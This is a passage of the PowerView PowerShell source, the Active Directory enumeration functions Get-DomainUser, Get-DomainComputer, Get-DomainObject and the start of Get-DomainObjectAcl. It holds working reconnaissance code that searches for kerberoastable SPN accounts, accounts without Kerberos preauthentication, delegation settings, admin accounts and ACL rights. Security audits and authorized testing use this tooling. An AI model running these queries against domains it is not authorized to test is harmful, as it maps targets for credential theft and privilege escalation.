  3753.         [String[]]
  3754.         $Identity,
  3755.  
  3756.         [Switch]
  3757.         $SPN,
  3758.  
  3759.         [Switch]
  3760.         $AdminCount,
  3761.  
  3762.         [Parameter(ParameterSetName = 'AllowDelegation')]
  3763.         [Switch]
  3764.         $AllowDelegation,
  3765.  
  3766.         [Parameter(ParameterSetName = 'DisallowDelegation')]
  3767.         [Switch]
  3768.         $DisallowDelegation,
  3769.  
  3770.         [Switch]
  3771.         $TrustedToAuth,
  3772.  
  3773.         [Alias('KerberosPreauthNotRequired', 'NoPreauth')]
  3774.         [Switch]
  3775.         $PreauthNotRequired,
  3776.  
  3777.         [ValidateNotNullOrEmpty()]
  3778.         [String]
  3779.         $Domain,
  3780.  
  3781.         [ValidateNotNullOrEmpty()]
  3782.         [Alias('Filter')]
  3783.         [String]
  3784.         $LDAPFilter,
  3785.  
  3786.         [ValidateNotNullOrEmpty()]
  3787.         [String[]]
  3788.         $Properties,
  3789.  
  3790.         [ValidateNotNullOrEmpty()]
  3791.         [Alias('ADSPath')]
  3792.         [String]
  3793.         $SearchBase,
  3794.  
  3795.         [ValidateNotNullOrEmpty()]
  3796.         [Alias('DomainController')]
  3797.         [String]
  3798.         $Server,
  3799.  
  3800.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  3801.         [String]
  3802.         $SearchScope = 'Subtree',
  3803.  
  3804.         [ValidateRange(1, 10000)]
  3805.         [Int]
  3806.         $ResultPageSize = 200,
  3807.  
  3808.         [ValidateRange(1, 10000)]
  3809.         [Int]
  3810.         $ServerTimeLimit,
  3811.  
  3812.         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  3813.         [String]
  3814.         $SecurityMasks,
  3815.  
  3816.         [Switch]
  3817.         $Tombstone,
  3818.  
  3819.         [Alias('ReturnOne')]
  3820.         [Switch]
  3821.         $FindOne,
  3822.  
  3823.         [Management.Automation.PSCredential]
  3824.         [Management.Automation.CredentialAttribute()]
  3825.         $Credential = [Management.Automation.PSCredential]::Empty,
  3826.  
  3827.         [Switch]
  3828.         $Raw
  3829.     )
  3830.  
  3831.     DynamicParam {
  3832.         $UACValueNames = [Enum]::GetNames($UACEnum)
  3833.         # add in the negations
  3834.         $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
  3835.         # create new dynamic parameter
  3836.         New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
  3837.     }
  3838.  
  3839.     BEGIN {
  3840.         $SearcherArguments = @{}
  3841.         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  3842.         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  3843.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  3844.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  3845.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  3846.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  3847.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  3848.         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  3849.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  3850.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  3851.         $UserSearcher = Get-DomainSearcher @SearcherArguments
  3852.     }
  3853.  
  3854.     PROCESS {
  3855.         #bind dynamic parameter to a friendly variable
  3856.         if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
  3857.             New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
  3858.         }
  3859.  
  3860.         if ($UserSearcher) {
  3861.             $IdentityFilter = ''
  3862.             $Filter = ''
  3863.             $Identity | Where-Object {$_} | ForEach-Object {
  3864.                 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
  3865.                 if ($IdentityInstance -match '^S-1-') {
  3866.                     $IdentityFilter += "(objectsid=$IdentityInstance)"
  3867.                 }
  3868.                 elseif ($IdentityInstance -match '^CN=') {
  3869.                     $IdentityFilter += "(distinguishedname=$IdentityInstance)"
  3870.                     if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
  3871.                         # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
  3872.                         #   and rebuild the domain searcher
  3873.                         $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  3874.                         Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
  3875.                         $SearcherArguments['Domain'] = $IdentityDomain
  3876.                         $UserSearcher = Get-DomainSearcher @SearcherArguments
  3877.                         if (-not $UserSearcher) {
  3878.                             Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"
  3879.                         }
  3880.                     }
  3881.                 }
  3882.                 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
  3883.                     $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
  3884.                     $IdentityFilter += "(objectguid=$GuidByteString)"
  3885.                 }
  3886.                 elseif ($IdentityInstance.Contains('\')) {
  3887.                     $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
  3888.                     if ($ConvertedIdentityInstance) {
  3889.                         $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
  3890.                         $UserName = $IdentityInstance.Split('\')[1]
  3891.                         $IdentityFilter += "(samAccountName=$UserName)"
  3892.                         $SearcherArguments['Domain'] = $UserDomain
  3893.                         Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
  3894.                         $UserSearcher = Get-DomainSearcher @SearcherArguments
  3895.                     }
  3896.                 }
  3897.                 else {
  3898.                     $IdentityFilter += "(samAccountName=$IdentityInstance)"
  3899.                 }
  3900.             }
  3901.  
  3902.             if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
  3903.                 $Filter += "(|$IdentityFilter)"
  3904.             }
  3905.  
  3906.             if ($PSBoundParameters['SPN']) {
  3907.                 Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
  3908.                 $Filter += '(servicePrincipalName=*)'
  3909.             }
  3910.             if ($PSBoundParameters['AllowDelegation']) {
  3911.                 Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
  3912.                 # negation of "Accounts that are sensitive and not trusted for delegation"
  3913.                 $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
  3914.             }
  3915.             if ($PSBoundParameters['DisallowDelegation']) {
  3916.                 Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
  3917.                 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
  3918.             }
  3919.             if ($PSBoundParameters['AdminCount']) {
  3920.                 Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
  3921.                 $Filter += '(admincount=1)'
  3922.             }
  3923.             if ($PSBoundParameters['TrustedToAuth']) {
  3924.                 Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
  3925.                 $Filter += '(msds-allowedtodelegateto=*)'
  3926.             }
  3927.             if ($PSBoundParameters['PreauthNotRequired']) {
  3928.                 Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
  3929.                 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
  3930.             }
  3931.             if ($PSBoundParameters['LDAPFilter']) {
  3932.                 Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
  3933.                 $Filter += "$LDAPFilter"
  3934.             }
  3935.  
  3936.             # build the LDAP filter for the dynamic UAC filter value
  3937.             $UACFilter | Where-Object {$_} | ForEach-Object {
  3938.                 if ($_ -match 'NOT_.*') {
  3939.                     $UACField = $_.Substring(4)
  3940.                     $UACValue = [Int]($UACEnum::$UACField)
  3941.                     $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
  3942.                 }
  3943.                 else {
  3944.                     $UACValue = [Int]($UACEnum::$_)
  3945.                     $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
  3946.                 }
  3947.             }
  3948.  
  3949.             $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
  3950.             Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"
  3951.  
  3952.             if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }
  3953.             else { $Results = $UserSearcher.FindAll() }
  3954.             $Results | Where-Object {$_} | ForEach-Object {
  3955.                 if ($PSBoundParameters['Raw']) {
  3956.                     # return raw result objects
  3957.                     $User = $_
  3958.                     $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
  3959.                 }
  3960.                 else {
  3961.                     $User = Convert-LDAPProperty -Properties $_.Properties
  3962.                     $User.PSObject.TypeNames.Insert(0, 'PowerView.User')
  3963.                 }
  3964.                 $User
  3965.             }
  3966.             if ($Results) {
  3967.                 try { $Results.dispose() }
  3968.                 catch {
  3969.                     Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
  3970.                 }
  3971.             }
  3972.             $UserSearcher.dispose()
  3973.         }
  3974.     }
  3975. }
  3976.  
  3977. function Get-DomainComputer {
  3978.  
  3979.  
  3980.     [OutputType('PowerView.Computer')]
  3981.     [OutputType('PowerView.Computer.Raw')]
  3982.     [CmdletBinding()]
  3983.     Param (
  3984.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  3985.         [Alias('SamAccountName', 'Name', 'DNSHostName')]
  3986.         [String[]]
  3987.         $Identity,
  3988.  
  3989.         [Switch]
  3990.         $Unconstrained,
  3991.  
  3992.         [Switch]
  3993.         $TrustedToAuth,
  3994.  
  3995.         [Switch]
  3996.         $Printers,
  3997.  
  3998.         [ValidateNotNullOrEmpty()]
  3999.         [Alias('ServicePrincipalName')]
  4000.         [String]
  4001.         $SPN,
  4002.  
  4003.         [ValidateNotNullOrEmpty()]
  4004.         [String]
  4005.         $OperatingSystem,
  4006.  
  4007.         [ValidateNotNullOrEmpty()]
  4008.         [String]
  4009.         $ServicePack,
  4010.  
  4011.         [ValidateNotNullOrEmpty()]
  4012.         [String]
  4013.         $SiteName,
  4014.  
  4015.         [Switch]
  4016.         $Ping,
  4017.  
  4018.         [ValidateNotNullOrEmpty()]
  4019.         [String]
  4020.         $Domain,
  4021.  
  4022.         [ValidateNotNullOrEmpty()]
  4023.         [Alias('Filter')]
  4024.         [String]
  4025.         $LDAPFilter,
  4026.  
  4027.         [ValidateNotNullOrEmpty()]
  4028.         [String[]]
  4029.         $Properties,
  4030.  
  4031.         [ValidateNotNullOrEmpty()]
  4032.         [Alias('ADSPath')]
  4033.         [String]
  4034.         $SearchBase,
  4035.  
  4036.         [ValidateNotNullOrEmpty()]
  4037.         [Alias('DomainController')]
  4038.         [String]
  4039.         $Server,
  4040.  
  4041.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  4042.         [String]
  4043.         $SearchScope = 'Subtree',
  4044.  
  4045.         [ValidateRange(1, 10000)]
  4046.         [Int]
  4047.         $ResultPageSize = 200,
  4048.  
  4049.         [ValidateRange(1, 10000)]
  4050.         [Int]
  4051.         $ServerTimeLimit,
  4052.  
  4053.         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  4054.         [String]
  4055.         $SecurityMasks,
  4056.  
  4057.         [Switch]
  4058.         $Tombstone,
  4059.  
  4060.         [Alias('ReturnOne')]
  4061.         [Switch]
  4062.         $FindOne,
  4063.  
  4064.         [Management.Automation.PSCredential]
  4065.         [Management.Automation.CredentialAttribute()]
  4066.         $Credential = [Management.Automation.PSCredential]::Empty,
  4067.  
  4068.         [Switch]
  4069.         $Raw
  4070.     )
  4071.  
  4072.     DynamicParam {
  4073.         $UACValueNames = [Enum]::GetNames($UACEnum)
  4074.         # add in the negations
  4075.         $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
  4076.         # create new dynamic parameter
  4077.         New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
  4078.     }
  4079.  
  4080.     BEGIN {
  4081.         $SearcherArguments = @{}
  4082.         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  4083.         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  4084.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  4085.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  4086.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  4087.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  4088.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  4089.         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  4090.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  4091.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  4092.         $CompSearcher = Get-DomainSearcher @SearcherArguments
  4093.     }
  4094.  
  4095.     PROCESS {
  4096.         #bind dynamic parameter to a friendly variable
  4097.         if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
  4098.             New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
  4099.         }
  4100.  
  4101.         if ($CompSearcher) {
  4102.             $IdentityFilter = ''
  4103.             $Filter = ''
  4104.             $Identity | Where-Object {$_} | ForEach-Object {
  4105.                 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
  4106.                 if ($IdentityInstance -match '^S-1-') {
  4107.                     $IdentityFilter += "(objectsid=$IdentityInstance)"
  4108.                 }
  4109.                 elseif ($IdentityInstance -match '^CN=') {
  4110.                     $IdentityFilter += "(distinguishedname=$IdentityInstance)"
  4111.                     if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
  4112.                         # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
  4113.                         #   and rebuild the domain searcher
  4114.                         $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  4115.                         Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
  4116.                         $SearcherArguments['Domain'] = $IdentityDomain
  4117.                         $CompSearcher = Get-DomainSearcher @SearcherArguments
  4118.                         if (-not $CompSearcher) {
  4119.                             Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'"
  4120.                         }
  4121.                     }
  4122.                 }
  4123.                 elseif ($IdentityInstance.Contains('.')) {
  4124.                     $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
  4125.                 }
  4126.                 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
  4127.                     $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
  4128.                     $IdentityFilter += "(objectguid=$GuidByteString)"
  4129.                 }
  4130.                 else {
  4131.                     $IdentityFilter += "(name=$IdentityInstance)"
  4132.                 }
  4133.             }
  4134.             if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
  4135.                 $Filter += "(|$IdentityFilter)"
  4136.             }
  4137.  
  4138.             if ($PSBoundParameters['Unconstrained']) {
  4139.                 Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation'
  4140.                 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
  4141.             }
  4142.             if ($PSBoundParameters['TrustedToAuth']) {
  4143.                 Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals'
  4144.                 $Filter += '(msds-allowedtodelegateto=*)'
  4145.             }
  4146.             if ($PSBoundParameters['Printers']) {
  4147.                 Write-Verbose '[Get-DomainComputer] Searching for printers'
  4148.                 $Filter += '(objectCategory=printQueue)'
  4149.             }
  4150.             if ($PSBoundParameters['SPN']) {
  4151.                 Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
  4152.                 $Filter += "(servicePrincipalName=$SPN)"
  4153.             }
  4154.             if ($PSBoundParameters['OperatingSystem']) {
  4155.                 Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"
  4156.                 $Filter += "(operatingsystem=$OperatingSystem)"
  4157.             }
  4158.             if ($PSBoundParameters['ServicePack']) {
  4159.                 Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack"
  4160.                 $Filter += "(operatingsystemservicepack=$ServicePack)"
  4161.             }
  4162.             if ($PSBoundParameters['SiteName']) {
  4163.                 Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName"
  4164.                 $Filter += "(serverreferencebl=$SiteName)"
  4165.             }
  4166.             if ($PSBoundParameters['LDAPFilter']) {
  4167.                 Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"
  4168.                 $Filter += "$LDAPFilter"
  4169.             }
  4170.             # build the LDAP filter for the dynamic UAC filter value
  4171.             $UACFilter | Where-Object {$_} | ForEach-Object {
  4172.                 if ($_ -match 'NOT_.*') {
  4173.                     $UACField = $_.Substring(4)
  4174.                     $UACValue = [Int]($UACEnum::$UACField)
  4175.                     $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
  4176.                 }
  4177.                 else {
  4178.                     $UACValue = [Int]($UACEnum::$_)
  4179.                     $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
  4180.                 }
  4181.             }
  4182.  
  4183.             $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)"
  4184.             Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)"
  4185.  
  4186.             if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() }
  4187.             else { $Results = $CompSearcher.FindAll() }
  4188.             $Results | Where-Object {$_} | ForEach-Object {
  4189.                 $Up = $True
  4190.                 if ($PSBoundParameters['Ping']) {
  4191.                     $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
  4192.                 }
  4193.                 if ($Up) {
  4194.                     if ($PSBoundParameters['Raw']) {
  4195.                         # return raw result objects
  4196.                         $Computer = $_
  4197.                         $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw')
  4198.                     }
  4199.                     else {
  4200.                         $Computer = Convert-LDAPProperty -Properties $_.Properties
  4201.                         $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer')
  4202.                     }
  4203.                     $Computer
  4204.                 }
  4205.             }
  4206.             if ($Results) {
  4207.                 try { $Results.dispose() }
  4208.                 catch {
  4209.                     Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"
  4210.                 }
  4211.             }
  4212.             $CompSearcher.dispose()
  4213.         }
  4214.     }
  4215. }
  4216.  
  4217. function Get-DomainObject {
  4218.  
  4219.  
  4220.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
  4221.     [OutputType('PowerView.ADObject')]
  4222.     [OutputType('PowerView.ADObject.Raw')]
  4223.     [CmdletBinding()]
  4224.     Param(
  4225.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  4226.         [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
  4227.         [String[]]
  4228.         $Identity,
  4229.  
  4230.         [ValidateNotNullOrEmpty()]
  4231.         [String]
  4232.         $Domain,
  4233.  
  4234.         [ValidateNotNullOrEmpty()]
  4235.         [Alias('Filter')]
  4236.         [String]
  4237.         $LDAPFilter,
  4238.  
  4239.         [ValidateNotNullOrEmpty()]
  4240.         [String[]]
  4241.         $Properties,
  4242.  
  4243.         [ValidateNotNullOrEmpty()]
  4244.         [Alias('ADSPath')]
  4245.         [String]
  4246.         $SearchBase,
  4247.  
  4248.         [ValidateNotNullOrEmpty()]
  4249.         [Alias('DomainController')]
  4250.         [String]
  4251.         $Server,
  4252.  
  4253.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  4254.         [String]
  4255.         $SearchScope = 'Subtree',
  4256.  
  4257.         [ValidateRange(1, 10000)]
  4258.         [Int]
  4259.         $ResultPageSize = 200,
  4260.  
  4261.         [ValidateRange(1, 10000)]
  4262.         [Int]
  4263.         $ServerTimeLimit,
  4264.  
  4265.         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  4266.         [String]
  4267.         $SecurityMasks,
  4268.  
  4269.         [Switch]
  4270.         $Tombstone,
  4271.  
  4272.         [Alias('ReturnOne')]
  4273.         [Switch]
  4274.         $FindOne,
  4275.  
  4276.         [Management.Automation.PSCredential]
  4277.         [Management.Automation.CredentialAttribute()]
  4278.         $Credential = [Management.Automation.PSCredential]::Empty,
  4279.  
  4280.         [Switch]
  4281.         $Raw
  4282.     )
  4283.  
  4284.     DynamicParam {
  4285.         $UACValueNames = [Enum]::GetNames($UACEnum)
  4286.         # add in the negations
  4287.         $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
  4288.         # create new dynamic parameter
  4289.         New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
  4290.     }
  4291.  
  4292.     BEGIN {
  4293.         $SearcherArguments = @{}
  4294.         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  4295.         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  4296.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  4297.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  4298.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  4299.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  4300.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  4301.         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  4302.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  4303.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  4304.         $ObjectSearcher = Get-DomainSearcher @SearcherArguments
  4305.     }
  4306.  
  4307.     PROCESS {
  4308.         #bind dynamic parameter to a friendly variable
  4309.         if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
  4310.             New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
  4311.         }
  4312.         if ($ObjectSearcher) {
  4313.             $IdentityFilter = ''
  4314.             $Filter = ''
  4315.             $Identity | Where-Object {$_} | ForEach-Object {
  4316.                 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
  4317.                 if ($IdentityInstance -match '^S-1-') {
  4318.                     $IdentityFilter += "(objectsid=$IdentityInstance)"
  4319.                 }
  4320.                 elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
  4321.                     $IdentityFilter += "(distinguishedname=$IdentityInstance)"
  4322.                     if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
  4323.                         # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
  4324.                         #   and rebuild the domain searcher
  4325.                         $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  4326.                         Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
  4327.                         $SearcherArguments['Domain'] = $IdentityDomain
  4328.                         $ObjectSearcher = Get-DomainSearcher @SearcherArguments
  4329.                         if (-not $ObjectSearcher) {
  4330.                             Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"
  4331.                         }
  4332.                     }
  4333.                 }
  4334.                 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
  4335.                     $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
  4336.                     $IdentityFilter += "(objectguid=$GuidByteString)"
  4337.                 }
  4338.                 elseif ($IdentityInstance.Contains('\')) {
  4339.                     $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
  4340.                     if ($ConvertedIdentityInstance) {
  4341.                         $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
  4342.                         $ObjectName = $IdentityInstance.Split('\')[1]
  4343.                         $IdentityFilter += "(samAccountName=$ObjectName)"
  4344.                         $SearcherArguments['Domain'] = $ObjectDomain
  4345.                         Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"
  4346.                         $ObjectSearcher = Get-DomainSearcher @SearcherArguments
  4347.                     }
  4348.                 }
  4349.                 elseif ($IdentityInstance.Contains('.')) {
  4350.                     $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
  4351.                 }
  4352.                 else {
  4353.                     $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
  4354.                 }
  4355.             }
  4356.             if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
  4357.                 $Filter += "(|$IdentityFilter)"
  4358.             }
  4359.  
  4360.             if ($PSBoundParameters['LDAPFilter']) {
  4361.                 Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"
  4362.                 $Filter += "$LDAPFilter"
  4363.             }
  4364.  
  4365.             # build the LDAP filter for the dynamic UAC filter value
  4366.             $UACFilter | Where-Object {$_} | ForEach-Object {
  4367.                 if ($_ -match 'NOT_.*') {
  4368.                     $UACField = $_.Substring(4)
  4369.                     $UACValue = [Int]($UACEnum::$UACField)
  4370.                     $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
  4371.                 }
  4372.                 else {
  4373.                     $UACValue = [Int]($UACEnum::$_)
  4374.                     $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
  4375.                 }
  4376.             }
  4377.  
  4378.             if ($Filter -and $Filter -ne '') {
  4379.                 $ObjectSearcher.filter = "(&$Filter)"
  4380.             }
  4381.             Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)"
  4382.  
  4383.             if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() }
  4384.             else { $Results = $ObjectSearcher.FindAll() }
  4385.             $Results | Where-Object {$_} | ForEach-Object {
  4386.                 if ($PSBoundParameters['Raw']) {
  4387.                     # return raw result objects
  4388.                     $Object = $_
  4389.                     $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
  4390.                 }
  4391.                 else {
  4392.                     $Object = Convert-LDAPProperty -Properties $_.Properties
  4393.                     $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
  4394.                 }
  4395.                 $Object
  4396.             }
  4397.             if ($Results) {
  4398.                 try { $Results.dispose() }
  4399.                 catch {
  4400.                     Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_"
  4401.                 }
  4402.             }
  4403.             $ObjectSearcher.dispose()
  4404.         }
  4405.     }
  4406. }
  4407.  
  4408. function Get-DomainObjectAcl {
  4409.  
  4410.  
  4411.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  4412.     [OutputType('PowerView.ACL')]
  4413.     [CmdletBinding()]
  4414.     Param (
  4415.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  4416.         [Alias('DistinguishedName', 'SamAccountName', 'Name')]
  4417.         [String[]]
  4418.         $Identity,
  4419.  
  4420.         [Switch]
  4421.         $Sacl,
  4422.  
  4423.         [Switch]
  4424.         $ResolveGUIDs,
  4425.  
  4426.         [String]
  4427.         [Alias('Rights')]
  4428.         [ValidateSet('All', 'ResetPassword', 'WriteMembers')]
  4429.         $RightsFilter,
  4430.  
  4431.         [ValidateNotNullOrEmpty()]
  4432.         [String]
  4433.         $Domain,
  4434.  
  4435.         [ValidateNotNullOrEmpty()]
  4436.         [Alias('Filter')]
  4437.         [String]
  4438.         $LDAPFilter,
  4439.  
  4440.         [ValidateNotNullOrEmpty()]
  4441.         [Alias('ADSPath')]
  4442.         [String]
  4443.         $SearchBase,
  4444.  
  4445.         [ValidateNotNullOrEmpty()]
  4446.         [Alias('DomainController')]
  4447.         [String]
  4448.         $Server,
  4449.  
  4450.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  4451.         [String]
  4452.         $SearchScope = 'Subtree',
  4453.  
  4454.         [ValidateRange(1, 10000)]
  4455.         [Int]
  4456.         $ResultPageSize = 200,
  4457.  
  4458.         [ValidateRange(1, 10000)]
  4459.         [Int]
  4460.         $ServerTimeLimit,
  4461.  
  4462.         [Switch]
  4463.         $Tombstone,
  4464.  
